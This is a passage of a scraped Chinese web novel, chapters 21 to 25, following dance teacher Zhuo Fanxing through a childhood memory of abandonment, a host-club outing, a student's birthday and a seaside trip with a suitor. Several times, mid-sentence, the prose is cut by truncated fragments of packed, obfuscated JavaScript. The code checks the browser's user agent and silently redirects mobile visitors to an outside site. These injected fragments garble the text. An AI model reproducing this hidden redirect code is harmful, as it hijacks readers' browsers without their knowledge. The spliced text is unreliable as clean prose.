l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067325|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。她的皮肤白了,能看出她的影子。除了短短的头发,让她穿裙子的时候有些不伦不类,大多数时候她安静的呆着,让姚家人也习惯了她的存在。 徐凤在这些东西上头一碗水端平,姚灵均上的什么兴趣班,让繁星也一道去,所以她跟着姚灵均一道学钢琴,一道学跳舞。一个学期结束,兴趣班组织汇演,姚灵均顶着背景板当了一朵蘑菇,卓繁星却成了主演的小王子。 回来的时候,徐凤拧着姚灵均的耳朵,直骂她不争气,白花了她一个下午的时间特地做了头发换了衣服去看她表演。姚灵均被她弄得大哭,扑到爷爷奶奶怀里说不学跳舞了,她再也不要学跳舞了。 繁星站在边上看着他们,两只手缩在背后,脸上的妆还没洗掉,红彤彤的胭脂挂在两颊,额心还有个小红点。 “王姐。”徐凤看了她一眼,喊着保姆让她赶紧带她去把脸洗了。 那之后,这样的事情就再也没有了。繁星的钢琴学的慢,可姚灵均还是不想再学跳舞了。她受不了压腿的疼,每次回来都挂着眼泪珠子。磨磨蹭蹭又过了一个月,她耍赖不去,徐凤没办法,随她去了。 繁星担心了很久,直到姚馨雅回来了。徐凤跟她说家里把她照顾的很好,夸她身子软舞跳得好,老师说是个好苗子,要好好培养。 繁星被推到姚馨雅跟前,她看着眼前这个漂亮女人,不止是漂亮,应该说是她所见过最好看的女人了。她穿的衣服时髦洋气,披着长卷发,那时才刚刚迈入千禧年不久,国人的衣着打扮还没有像她这样的。 然而她只是看了她一眼,便对着徐凤说:“辛苦嫂子了。” 到了晚上,她回了房间。繁星已经洗漱完躺在了床上,她后来没再尿床了,只是每次睡觉都开着灯。 她缩在被子里只露出两只眼睛,手指扣的紧紧的,既紧张又期待。 姚馨雅在门口愣了愣,说了声晚安后便退了出去,关上门的时候顺便把灯也关了。 繁星沉在黑暗里,听见她下楼的脚步声。她眼睛里滚着泪,嘴巴张开,无声地喊着爸爸。 他说:“灿灿,你留在这儿,妈妈马上回来了,你不是一直想见妈妈吗?” 繁星说:“我们一起等她。” 卓强:“爸爸有事情要办,不能跟你一起等,你在这儿等着好不好。” 她不肯:“那我们一起走,然后再回来,等妈妈回来了再回来。” 卓强:“不行!爸爸有重要的事,不能带着你。这儿有姥姥姥爷,还有好吃的糖,你刚刚不是说这个巧克力好吃吗,要是在这里就能一直吃了。” 她把兜兜里的糖拿出来:“我不要,我不吃糖了,我也不要吃巧克力了,我不吃巧克力了。” 卓强凶道:“你不听话了?” 她眼泪刷刷地往下淌,捂着眼睛说:“我不要吃巧克力了,我们一起走嘛,我们一起嘛。” 【爸爸,我们一起走吧。】 这是那时的卓繁星最后的寄托,可是她没等来他。 时间像把最锋利的刀把心里柔软的那部分都割除了,只留下最坚硬的地方。过往的她有多渴望,有多期盼,只有她知道。 22. 第 22 章 林灿点了只香烟,悠悠哉哉地抽完。 多好的事啊,蒋凌洲心里果真有那么一个女孩儿,可她好像已经死了呀。 puy 她在蒋凌洲从浴室出来的时候迎上去,揽着他潮湿的肩膀。 他身上的水珠还没完全擦干,还有从他头发上落下来的。细长的指甲划过,捏起肌肉,她埋在他肩窝,深深地嗅了一口。一想到等下她身上也是这样的味道,她心潮澎湃,踮起脚尖啄吻他的下巴。 被推开了也没有生气。 “我去倒杯酒,你要吗?” 开心地像只花蝴蝶一样飞了下去。 还不知道自己已经被定义为死人的卓繁星,正在和同事在会所里追求刺激。 字面意思上的,原谅她老土,这毕竟是她寻常,不,是从不涉足的地方。若非老板请客,她死也不会进来。想到要花钱在男人身上,她就心痛。毕竟她的买房大业进展只有百分之一,实在支持不了她去寻欢作乐。 正是因此,免费的机会若不蹭,更觉遗憾。所以聚餐结束后,何安琪一提议,她就老实地跟了过来。 无论怎么说,该好奇的还是好奇。先前网上看了好多次的猛男秀,她虽然对铺面而来的□□觉得有些油腻,但是如果是偶尔欣赏一下也是可以的。 女人啊,总有荷尔蒙冲动的时候。卓繁星有时候也会怀疑自己是不是冷感的人。总而言之,她想要试试。 何安琪大气地拍拍荷包:“随便点,今天消费何老板买单。” “老板大气呀。”潘潘盯着一个斯文禁欲系的精英男打扮帅哥蠢蠢欲动。 “繁星姐,你点哪个?” “哪个?”她迟钝的表情用来缓解尴尬,她还要怂恿。“快点呀,点呀。我看那个肌肉型男也不错。” “什么?”卓繁星顺着她手指看过去,衬衫被撑的快要裂开,紧紧地锢在他身上,看见她们看过来,自信地扬了扬头。 卓繁星表示敬谢不敏。 她扫过站在一排末尾的男人,一个长相清秀,头发微卷的男孩儿进入她的视野。 给她的感觉像第一次见到的翁乐仪。 那时候放假,他和蒋凌洲一道被长辈叫下来见客人。红色的Polo衫,领口都没翻好,皱巴巴,像是刚套上去的。牛仔短裤下一双瘦长的腿,穿着拖鞋,浑身都透着心不在焉地敷衍。 怀里的蓝猫,机敏的瞳孔看过她姥姥、舅妈,最后落在灵均和她身上,和它的主人一样。 “你好。”他有些生涩地打招呼,目光落在她们脸上一瞬就低下头。 猫跑了,他跟着追上去,之后就没下来过。 她诧异自己对他的初次印象竟然这样深。或许是因为他偏异域的长相,高挺的鼻梁用后来的话讲就是可以滑滑梯,关键他还有一头微卷的头发。 她第一眼就对他好奇。人与人之间或许就是有磁场的,她注定了要被他吸引。 何安琪啧啧两声。“看不出来,你喜欢弟弟啊。” 卓繁星脸红。 那个男孩子马上顺杆爬,显示出与乖巧外表截然不同的灵活来。“我也喜欢姐姐呀,就喜欢这样漂亮的小姐姐。姐姐叫什么名字呀?可以叫我Akio。” 卓繁星喝了一口苏打水,还是不一样,开口就不一样。 她问他:“你会什么乐器吗?” 小男孩儿明显愣了下。“我会弹吉他。情非得已,姐姐要听吗?” “会吹萨克斯吗?” “啊?” “小号?” 他被她问倒。何安琪听了更是笑晕过去。“你干嘛?招音乐老师呢。” 卓繁星一笑,放松许多。 小帅哥坐在她身旁,不知有意无意,膝盖总是碰到她的。卓繁星看着他,问:“你几岁?” 得知对方只有二十岁,大学在读,估计是生活费开销不够,跑出来做兼职。 他对卓繁星显然更感兴趣,不知道哪里变出来的玫瑰花,递到繁星面前。卓繁星眼前一亮,被他的心思逗笑,接过来没放茶几上,反而拿在手里把玩。 “姐姐是舞蹈老师?”他的声音就在耳朵边,卓繁星扭过头发现他离得很近,几乎贴着她的发丝。 他愣了愣道:“姐姐,你眼睛真漂亮。” 卓繁星往后躲了躲,避开他伸过来的手,又觉得尴尬。 大家都是来寻欢作乐的,太正经了很破坏气氛啊。 对面何安琪已经被拿着手在看手相,潘潘红着脸在摸人腹肌,那精英男表面看不出,解开衬衫,里面的腹肌块块分明。 她撑着额夸他:“你也很漂亮。” 小帅哥瞬间亮了眼睛,估计误会了,凑近低语:“我也有,姐姐要不要摸一摸?” 卓繁星诚实地没有拒绝。 她感受到指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067326|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖下的肌肉收紧,配合着加重的呼吸。昏暗的灯光营造出暧昧的氛围,小帅哥侧过身,一只手抬起枕在脑后,把半张脸埋进去。 再抬起来的时候,黑暗里的眼睛亮的惊人。 卓繁星感觉到自己的手被握住,他凑上来要亲她。 她避开,这才有些脸红。“我去趟卫生间。”她走出去,好靡醉啊......她感叹道。 没想到上卫生间的功夫,遇见邵丽丽。 “你怎么在这儿啊?” 卓繁星讲了之后,她哈哈大笑。“不知道谁泡谁。不过这里的男人都很现实的,你别当真啦。” 这时走过来一个男的,邵丽丽喊了声钱少。 卓繁星看过去,那人穿着一件骚包的红底花衬衫,外搭绒面西装,一头半长的头发,很有点千禧年风潮。 最近流行复古吗,繁星想,要是再配一幅□□镜,他可以去拍画报了。 “卓繁星?”复古男人开口。 卓繁星眨巴眼睛,实在没想起来。 “我,钱琦正呀。” 卓繁星大脑里恍恍惚惚地飘过一个人影。《满庭芳》里面的一个男配角,那时候在剧组里呆过一段时间。她是做舞替的,兼职订盒饭,所以基本都混了个脸熟。 “你好,好久不见了。”她挂上客气的笑。 “是啊,多少年了。庆功宴上也没见你,你去哪儿了?现在在哪儿工作?” 卓繁星说:“回老家了,我老家这儿的。” “噢。”他看了眼她,又看了眼邵丽丽。“你们朋友?” “是。” 他笑了下,把手机掏出来。“要不咱加个微信吧,难得遇上,以后一起吃个饭。” “好。”卓繁星没想到他这么热情,当时剧组里也不过是点头之交,不过当时都没成咖,也说不上什么耍大牌的。 她想着估计就是点面子话,加了微信就躺尸,无所谓加不加。 他走之后,邵丽丽显得很兴奋。 “你和他什么关系呀?” 卓繁星简单说了,她说:“这人是mcn公司的股东,手里好多资源,杰米哥都要巴结他。” “你把他微信推给我吧。颇里思!”她做祈祷状。 卓繁星被她逗笑。“知道了。他加不加是他的事儿啊。” “知道知道,幸亏有你,回头请你吃饭。”她高高兴兴地跳走了。 23. 第 23 章 卓繁星没想到一次追求刺激会收获两朵烂桃花。 卓繁星看着小帅哥发来的腹肌照,ck短裤被一只拇指往下勾,露出浓密的毛发,着实吓得她扔掉了手机。 她试探地询问潘潘,会所里的精英男可有和她联系。 她说她没加微信。“怎么?你那个弟弟联系你了吗?” 她敏感地察觉到,卓繁星果断摇头。“当然没有。” “我觉得那个男的有点世故,玩玩就好了,再说,那天他们都看见是何姐请客,我们两个又没钱,他们目标才不会在我们身上。” 听着还是略遗憾呀,卓繁星看着她那张小嘴。 “不过,我觉得就那么回事,那个腹肌其实楼上健身房也有好多呀。不如办卡,那点钱那边开瓶酒都不够呀。你觉得呢?繁星姐。” 分明是贼心不死。 卓繁星夸她:“真的很机智了。” “嘿嘿。” 小帅哥的信息可以不回,钱琦正的却不能当做没看见。在礼貌回复了两句后,这厮很快就像卓繁星发出了邀约。 通过他的朋友圈,卓繁星想他果然混的不错,不是在国外度假,就是与高端人士合影,其中不乏明星之流。最近的就有参加倪玉城新片首映礼。 配文【昔日好友重聚,倪导十年磨一剑,诚意之作。鼓掌鼓掌。尤记当年一起创作,连续熬大夜,为了几秒钟的画面守在摄影机前的场景。感谢这个世界还是给了创作者机会,证明好的作品终会被看见。祝贺新片大卖。撒花撒花!】 卓繁星一囧,她怎么记得当时他就是个配角,熬大夜的事没有他。倒是她,有一场晚宴舞戏,连拍了两个晚上,累成狗。 卓繁星婉拒了他的邀约,认认真真搬砖。 那天周末,她照常上完舞蹈课,换完衣服出来看见嘉嘉坐在沙发上掉眼泪。她边上一个中年妇女哄着,舞蹈社的人都认识,是经常来接她的保姆,姓李。 “爸爸马上来了,你听话,跟我先下去等他,好不好?”李阿姨哄着人,一只手挎着小书包,一只手拿纸巾给她抹眼泪。 嘉嘉哭的一抽一抽:“他说过要来接我的。” “这不是堵车了吗,他不是不来,嘉嘉最听话了,对不对?” 然而她好话说尽了还是没用,叹了口气把手机拿出来:“喂,小齐啊,你跟嘉嘉说说。” 她把手机对着孩子,卓繁星听到里面传来男人的声音,喊着乖宝,劝着:“爸爸马上就到了,你跟李奶奶先去商场里的游乐园玩一会儿,我们晚上吃披萨还有冰淇淋,爸爸位置都订好了。” 然而嘉嘉捂着眼睛,扭着身子不看他。 试了几遍没用,李阿姨只能把手机收回来,“哎呦,小齐呀,我真是说什么都不管用,你还要多久啊?” 卓繁星知道今天是嘉嘉生日,因为工作室会给每一个过生日的孩子准备一个玩偶,还有和商场蛋糕店合作的蛋糕券。 而且上课之前,这个小姑娘就跟玩的好的小朋友说了好几遍,还告诉了她,想邀请她一道去过生日,表现的比平日更加活泼开心。 “嘉嘉……”李阿姨已经有些累了,她坐到她边上,看到繁星她们,有些抱歉地笑了一下。“老师们都要下班了,要关门了,咱们先走吧好不好?” 嘉嘉还是哭,粉色的小舞鞋耷在沙发上,她身上披着外套,两条穿着白丝袜的腿带着孩子独有的细弱。 “小祖宗哎,咱们把裤子穿上,我带你去下面游乐园玩,再给你买甜甜圈好不好?”她撑着裤子,耐心耗尽。“老师也要下班吃晚饭呢,你这样李奶奶要生气了啊。” 嘉嘉听了抽的更厉害,“我要爸爸,我要爸爸。” 小孩子哭容易接不上气,李阿姨看她脖子都红了反倒把自己吓的不轻。 “先喝口水。”卓繁星把纸杯递过去,她赶紧接过来喂给她。 “小祖宗哎小祖宗。”她给她顺着胸口,眉毛都快拧成了疙瘩。 潘潘送了包纸巾过来,繁星抽了一张给孩子擦脸,哭了一通,额头上都冒汗了。李阿姨把衣领拉起来摸了摸她后颈,果不其然里头也潮了。 “卓老师。”嘉嘉一开始还躲,看见是繁星,瘪着嘴没反抗。 “不是要请老师吃生日蛋糕吗?” 小姑娘愣了愣:“嗯啊……可是,你不是说晚上有事不能去。”她声音都有点哭哑了。卓繁星为自己找借口推拒而感到小小的羞愧。 “稍微迟一点没事,但是老师现在饿了,你先陪我去吃点好不好?” 终于哄着小姑娘把裤子穿上出了门,李阿姨给她重新扎了头发,电梯上繁星被她牵手粘着,惹得李阿姨跟她一连道歉说麻烦了。 先是到蛋糕店买了甜甜圈和奶茶,然后带着孩子去了游乐园。 齐帆在车上收到李阿姨发来的视频,脸上焦急的神色终于缓了下来。 翁乐仪在后排坐着,看见他点开视频,又听了语音,视频声音嘈杂,但隐隐能听见孩子的笑声。 “哄好了?”坐翁乐仪身边的是公司的财务总监,快五十岁的一个女员工,姓古,她和齐帆熟的很,知道他家里有个宝贝女儿。 “不容易啊。”齐帆笑了下,假装抹了把汗。“还多亏了舞蹈社的老师,嘉嘉很喜欢她,等空了我得请人吃个饭谢谢人家。” “舞蹈老师?”古姐挤了下眉毛。“女的?” 齐帆点头。 “长得怎么样?有对象没?” 他还没转过弯来。“我不知道啊,你问这个干什么?” “你个榆木脑袋,合适就处处呗,你家里就是缺个女人,再说嘉嘉喜欢,你工作那么忙,总有顾不到的时候。” 齐帆摸了摸后脑勺,笑了两声就含糊过去了。他也没不好意思,主要是没少被她做介绍,女人到了年纪估计都有当媒婆的潜质。再说,她最近烦的人也不是他。 他在后视镜里和翁乐仪对了下眼神,果不其然就听见古姐继续道:“不知道咱们小翁总喜欢什么样的姑娘,我们Y城漂亮姑娘可多了,娶一个回去做我们这儿的女婿。” 翁乐仪听了勾了勾嘴角,他虽不至于耳朵起茧子,但也听了好几回了,不至于像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067327|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚听见那样有些尴尬不知该如何接话。 车子开到工作室附近的商圈,齐帆先下了车。他把车门关上没马上走,躬身跟里头又道了别,看车子开远了才往里走。 11月了,天黑的早,商店里的灯都早早亮了起来。 李阿姨说人已经在订好的西餐厅等着了,老师要走,但嘉嘉不肯。 他穿过长长的一段路,到了西餐厅门口,透过玻璃门看见嘉嘉笑着脸。她两只大大的眼睛弯成了月牙,还露出了一只小酒窝。 一只白皙细长的手指伸过来给她擦着嘴巴边上的巧克力酱,他顺着看过去,手的主人有一张皎好的脸庞,或许是屋内灯光太过温暖,使她看起来分外柔和。 他站定,脑子里鬼使神差地想到下车前古姐的话。 卓繁星没有和他们一起吃饭,等齐帆来了,她便起身告辞。临走前,嘉嘉在她脸上亲了一下,摸了摸她的脸,说生日快乐。 在游乐场的时候,李阿姨跟她说了些这孩子的事。嘉嘉妈妈是意外怀孕,那时候爸爸还在读书。孩子生下来两人就散了,妈妈之后再嫁,早就把女儿忘到天边去了。 李阿姨说这个的时候叹了口气:“小齐是个有上进心的,把嘉嘉当眼珠子一样看着,但是工作太忙太拼也不好,孩子又没了妈,总是对她成长不好的。” 卓繁星看着从滑滑梯上滑下来的孩子——她朝她招了招手,大大的笑容像朵盛开的向日葵。她有一瞬间的怔忪,回应地朝她挥了下手臂,转头对李阿姨说:“还好还有齐先生在。” 卓繁星没问过邵丽丽有没有加上钱琦正的微信,她觉得被追这件事有点尴尬,而她明显不打算接受他的追求。 邵丽丽问起她的时候,她嘴唇抵在水杯上,很机敏地抬了下眼睛。 果然沙发上的人趴在扶手上,对着她眨眼。 “他问我你是不是有对象了?不然为什么约不出来。” “他在追你。”她很笃定。 卓繁星说:“我对他没感觉。” “拜托。”邵丽丽翻了个白眼。“你又没和他相处过。” “他身家不错,长得也还行。妥妥的钻石王老五啊。” 卓繁星实际觉得他像一只开屏的孔雀,还有点油腻。“我觉得他太潮了。我不喜欢太潮的。” “他们这个环境就这样,身边都是会打扮的。” “那你和那个医生怎么样了?” 卓繁星说:“没什么后续。” “那你不如试试,就先接触一下呗。人总要了解了再下决定啊,说不定你对他就有改观呢。” 卓繁星黑溜溜的眼睛看的她心虚,她撇撇嘴,无奈地摊手。“好吧,好吧,我是来当说客的。不过是这么个理啊。你反正在相亲,那干嘛不接触一下,又不吃亏。” “试试吧,卓总。他想约我们周末去岛上玩。咱看不上就看不上,就去玩一趟行不?” 卓繁星被她粘在屁股后面。 “为了姐们儿的事业,颇里思!” 又来。 卓繁星白了她一眼,无奈点头。 24. 第 24 章 那天出发,钱琦正开了辆大G来接,车子很大,像个小坦克一样趴在路上。 他一下车,皮夹克,墨镜,脖子上挂着一条银链子。卓繁星又被狠狠地潮了一下。 邵丽丽问:“就我们几个人?” “还有几个朋友,你们没见过,到时候认识一下。” 他眼睛全在卓繁星身上,好在没有急着出击。把她们两个行李放好,副驾驶上放着他自己的包。卓繁星生怕他要打开副驾驶让她坐。 “今天我就给两位美女当司机。” 他在后视镜上一眨眼,邵丽丽笑的坏,一只手暗暗捏卓繁星。卓繁星又开始后悔了。 卓繁星不是没被人追过,大学里好看的姑娘总是不缺人追的。可是她封心锁爱,加上舞蹈学院不缺美女,男生被打击个三五回,也就放弃了。 出了社会,男人们就更考虑时间成本。像上次的赵医生,经受一次拒绝,便不会多纠缠,她觉得这位也差不多。 心态放平,路边的风景也好起来,就当去度假啦。 出了市区,开了一个钟头,很快就见到海了。 天气很好,阳光洒在海面上,远处大型的渔船伸展着钢铁手臂,像章鱼一样。天很蓝,纯澈透明,她将窗户放下来拍了几张照,总觉得不是特别好,拍不出真实的美。 钱琦正似乎看懂了,安慰道:“等到了咖啡店你们再好好拍,那边角度好,拍出来的照片好看。” 七拐八拐,终于到了他口中的咖啡店。 邵丽丽说:“我在xhs上看到过这家,超火的。” 卓繁星想她在Y市多年,却连周边都没怎么去过。不过大家好像都是这样,总是期待去远方旅行,好像这样才有意义。 “我们晚饭在这里吃,这里夜景很好看,黄昏的时候能坐在平台上看海,很漂亮。” 钱琦正点了单回来,墨镜摘下来,捋了一把头发。“这是我一个朋友开的,下次你们想过来和我说一声,我叫他给你们留位置。” 邵丽丽配合的惊喜道:“那就沾钱少的光了。” 没一会儿就开过来一辆车,车上下来一对情侣还有一个姑娘,都是钱琦正的朋友。 两相打招呼,卓繁星感觉那个叫苏苏的姑娘,眼神有点奇怪,含着隐隐的敌意。她不确定自己是不是多想了,毕竟她们第一次见,这敌意实在莫名其妙。 叫凯文的男人说:“洪旺什么时候到?” “说要带个朋友过来,我出发的时候,他说去接人。” “那估计吃晚饭的时候来。听说是众鑫的太子爷......”他抽着烟,眼神里有些隐隐的玩味。“腿不好。” “前两年在国外出的车祸。”钱琦正无所谓地应他,翘着二郎腿,撑着椅子的手臂张开,目光落在远处的卓繁星上。“他们这种含着金汤匙出生的,断条腿算什么,只要脑子没坏,那就这个。” 他比了个天,嗤笑一声,一下站起来,往卓繁星那儿去。 “美女们要不要拍照?” 苏苏怼道:“你的技术拉倒吧。” 邵丽丽头一个把手机拿给他:“那就拜托钱少啦。记得把我腿拍长点儿。” 她穿了件连体的工装裤,配上一条豹纹丝巾,工装裤的休闲与豹纹的女性感中和,显得既时髦又俏皮。不得不说做平面模特的,审美真的很好,卓繁星今天一看见她就眼前一亮。 她凑到她跟前装道:“那有什么办法,人家既不能抢了你的风头,又不想穿的和丫鬟一样,只能费劲心思想办法了呀。” 卓繁星无语。“你大可以穿的更好看一点,我不介意你把他拿下。” 邵丽丽转了一圈眼珠。“说实话我倒是有这个意思,可是强扭的瓜不甜,人家分明对我没有意思,我一双媚眼是抛给瞎子看。罢了,罢了。” 卓繁星看着她优雅地喷香水,不得不承认她身上有种可爱之处,是一种旺盛的生命力,叫卓繁星很羡慕很喜欢。 如今邵丽丽摆弄了几个姿势后,很快收获了苏苏数枚白眼。她在女人堆里浸淫多年,像是身上装了雷达,对卓繁星提醒道:“那小姑娘喜欢钱琦正啊。啧啧,我是替你挡灾咯,她嫉妒错人啦,钱琦正看上的又不是我。” “他也是,要追你还把这个小姑娘带来,弄不清的。这种男人就是这样,外面花边多的。” “你又不是我,我是无所谓的咯。现在你更看不上了吧。不过么,他这幅样貌,这个条件,有小姑娘追也是正常的,你也不要这么快下决定。” 卓繁星被她咬耳朵,见她说的越发不着边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067328|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿银勺子刮了一块蛋糕塞住她。 “哎呦,我不吃,要发胖的呀。” 她诚实地又插了一勺。 远处一辆轿跑开进来。那边被苏苏叫去拍照的钱琦正走过去,车门打开,先是一个娃娃脸男生从驾驶位出来。 邵丽丽叼着勺子,脖子伸的老长,推她:“又来两个帅哥。” 卓繁星失笑,很快那笑就凝在唇边。 另一边的男人走出来,高瘦的身影,高挺的鼻梁。他摘下墨镜,被光照的眯了下眼睛,皱眉看过来。 “极品啊。” 卓繁星听着耳边的感叹,人都僵住了。 他走近了,一件高领黑灰粗毛线毛衣,看起来很厚实。他好像一直就很喜欢这样的衣服,天冷了,可以将领子翻上去,遮住半张脸。不过么,今天估计还是有点热,卓繁星是这样想的。 他当然看见卓繁星了,可是目光一触即分,两人都没有说认识对方。 简单坐了一会儿,或许钱琦正终于想起来他今天来的目的是什么了,主动对卓繁星说:“那边有步道,旁边有很多芒草,挺漂亮的,我带你去看看。” 卓繁星傻乎乎地没开口。他把她的椅子拽过来,以一个亲密旁人又能听见的声音说:“我开车带你去。” “噢。邵丽丽去看芒草。”卓繁星去拉身边的人。 邵丽丽显然毫无心思,她笑的和花一样坐在洪旺边上。 “啊?” “去看芒草。” “你自己去吧宝,让钱少陪你去。” 卓繁星慌乱的眼睛扫过对面的翁乐仪,他一只手抵在桌上,低垂着眼似乎在听他们交谈。 卓繁星方才尝试对他笑一下,可刚对上视线,他就转开脸,仿佛他们真的不认识。 “走吧。”钱琦正拿起她的外套。 车子启动,大G嚣张地消失在公路尽头。 “你朋友叫什么?也是平面模特?”洪旺问。 邵丽丽说:“她是舞蹈老师啦。怎么?你对我朋友感兴趣啊。”她似真似假地嗔道:“追她要排队哦。” 洪旺笑的眼睛弯弯,也是半真半假地回道:“我对你更感兴趣。追你要排队吗?” 邵丽丽心里呵呵两声男人,俏皮道:“当然啦。” 25. 第 25 章 他们两个打情骂俏,丝毫没有注意到旁边人的黑脸。 因为蒋凌洲的缘故,(尽管卓繁星不愿意承认他对她影响这样大,可事实就是如此。)卓繁星于异性相处陌生中时刻又带着防备,尤其知道钱琦正的心思,更叫她难以放松下来。 钱琦正说:“我今天主要想约你出来玩。” 他有些羞赧地看了一眼卓繁星。 为什么说有些呢,卓繁星总觉得他并非这样的人,似乎还是游刃有余多一些。她尽管处理这样的情况缺乏经验,可女性的敏感也叫她多多少少感知到一些。这人绝非他看起来那样单纯,起码比起赵医生,他要有经验的多。 她于对视的一眼中保持沉默。 钱琦正等不来她的回应,失笑道:“我发现你还和以前一样。” “哪样?”卓繁星疑惑。 “那时在剧组我们都说你是冷美人。” 卓繁星讶异地看向他,并不觉得被夸奖了,反而有种被谈论的不适感。 尽管女生宿舍夜话也不可避免地会对男生进行讨论,可原谅她青春期时就一直陷入某种奇怪的比较中,她对这些背后的讨论非常敏感和不舒服。 “你不知道?我们都说你高冷,和神雕里面的小龙女一样。” 卓繁星不觉得有什么可高兴的。钱琦正说:“你和Arthur——”他适时的顿了顿。“你们后来是分手了?” “我们没在一起过。”卓繁星有些生硬地回道。 “啊?”钱琦正诧异地挑了挑眉。“抱歉。”他刮了刮眉梢。“我们那时候都知道他喜欢你,他很出挑,你懂的——” 她懂什么?如果说先前对钱琦正还只是略显油腻的评价的话,那么现在卓繁星发誓,她不可能对这个人有任何的好感。他怎么做到每一句话都踩中她的雷点的。 她不知道是不是自己太过敏感。可她明显从他的语气中听出来许多试探,与一种征服的意味。 他好像觉得他如今在追一个曾经他不敢追的人,这个人和蒋凌洲有某些联系,放在以前,他是不敢的。多么好笑。 卓繁星只期盼时间能过的快一点,他能够察觉出她的冷淡,不要再说任何话了。 步道两旁,漫山的芒草被日光染成金色,指尖撩过,有些毛茸茸的温暖触感。 为什么好像生气了呢? 卓繁星看着漫山遍野随风而动的芒草好像看到了自己的心,不安定地飘在空中,随时被搅动的乱七八糟。 明明在京市的时候都很好。在旗袍店碰见时彬彬有礼,他们还聊了一会儿。 “卓繁星。” 卓繁星转过头,或许是沉默太久,钱琦正终于有些忍不住了。“我之后能约你吗?”他走到她边上,撑着木栏杆问她。 卓繁星说:“我们还是做朋友吧。” 钱琦正的眉头动了下。“这么直接么?你还不了解我。” 卓繁星抿着唇,想说我了解我自己。如果说赵医生让她曾有过短暂地动摇,那他身上显然连这一丝都没有。她不想浪费彼此的时间。 可是这样的话说出来叫人觉得难堪,毕竟钱琦正不知道自己方才讲的话让她不舒服。 他或许是无意的。 卓繁星在怒气过去后找回理智。说起来,他们只是陌生人呀。他怎么会知道她介意这些话呢。 自然这样的原因也一并不必说给他听。她不想解释再解释,这样会浪费很多口水和时间的。 然而,她的沉默让钱琦正认为是内敛和羞涩。 “先别急着拒绝我,我其实一直就很喜欢你。那时候在剧组里面就对你有点心动。”他挠了挠头。“总之,给个机会吧。” 卓繁星低下眼睛,撇撇嘴。给个机会吧。怎么听着像在求职。 反正就这一次,回去之后就不会再有联系啦。 太阳逐渐西去,他们折返回去的时候,咖啡馆已经沐浴在夕阳下。精心布置的灯光亮起,远处墨蓝色的海水让此处像是一座漂泊的岛屿。 “我们晚上吃烧烤。”钱琦正下车前这样和她讲。“今天天好,晚上星星肯定特别多。” 邵丽丽一把将卓繁星扯过去,美其名曰拍照。“怎么样?怎么样?”她八卦的眼睛闪着光。 “不怎么样。” “他和你告白了?” 卓繁星没讲,邵丽丽说:“你没答应。切,正常啊,头一次约你出来,怎么可能就追上。” 她换了个姿势,背靠平台,海风将她的长发吹起,时不时落在豹纹丝巾上,锁骨若隐若现,有种天然的性感。 卓繁星问:“你们怎么样?” “什么怎么样?” “下午干什么了?” 邵丽丽开心地眨了下眼睛。“那个叫洪旺的帅哥很会聊,还有一个么,好像姓翁,高冷,跟你一样。”她下了判断。“不过腿好像不太好。” “那个苏苏呀,你不知道你们走之后,她脸臭的和什么一样。另外一个妹子一直在安慰她,搞得我不是人一样。我只能和帅哥聊天了呀。” 她四下看看,没有看见苏苏,目光又落在卓繁星脸上,欣赏了一下她漂亮的脸。 卓繁星被她看的奇怪,问:“干嘛?” 她啧啧两声。“还是纯天然的好看,她跟你比都不好比的呀。” 卓繁星说:“不要雌竞。” 她一下笑出来,撇清道:“我又没有对她有敌意哦,是她先针对我的呀。还好你对钱琦正没意思,不然估计要伤心咯。那个女的不是省油的灯啦。”她很有经验的总结道。 远处的云层逐渐变为深蓝,仿佛电影散场一般,天空中最后一丝熹微的光芒也慢慢退去。 平台上放着舒缓的音乐,远处的海浪仿佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067329|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成了和声。几个男人拿着啤酒点着烟,互相交谈。 